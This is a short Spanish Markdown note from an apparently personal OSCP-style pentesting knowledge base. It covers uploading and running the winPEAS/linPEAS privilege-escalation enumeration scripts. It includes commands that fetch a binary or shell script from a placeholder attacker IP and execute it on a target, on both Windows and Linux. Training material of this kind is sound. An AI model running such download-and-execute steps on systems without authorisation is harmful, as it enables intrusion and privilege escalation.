hacklab/JARVIS
1
0
Fork 0
Code Issues Pull requests Projects Releases Packages Wiki Activity Actions
JARVIS/nucleo/saber/conocimiento/04 - Privesc/PEASS-ng.md
sito 7e06ce46cf saber: pack de metodologia publico (conocimiento/) + doc del RAG 
El repo trae ahora ~73 docs de metodologia de pentesting (estilo OSCP,
scrubeados de datos personales) que indexa.py indexa: un clon recien hecho ya
sabe de enumeracion, explotacion web, shells, privesc, Active Directory,
cracking... con los comandos, sin ningun dato privado. docs/rag.md lo refleja.
2026-08-16 17:58:41 +02:00

729 B
Raw Permalink Blame History

PEASS-ng (winPEAS / linPEAS)

Scripts que enumeran automáticamente todos los vectores de privesc. En tu carpeta.

Subir y ejecutar

# Kali (servir): cd tu carpeta && python3 -m http.server 80   → Transferencia de ficheros

# Windows:
iwr http://TU_IP/winPEASx64.exe -OutFile C:\Windows\Temp\wp.exe ; C:\Windows\Temp\wp.exe

# Linux:
wget http://TU_IP/linpeas.sh -O /tmp/lp.sh ; bash /tmp/lp.sh

Regla de oro

Automatizado + manual. winPEAS resalta lo sospechoso (rojo/amarillo), pero revisa a mano Privesc Windows / Privesc Linux: winPEAS no encuentra todo (ej. lógica de un script cron concreto).

Relacionado: GTFOBins y LOLBAS · Metodología OSCP · OSCP MOC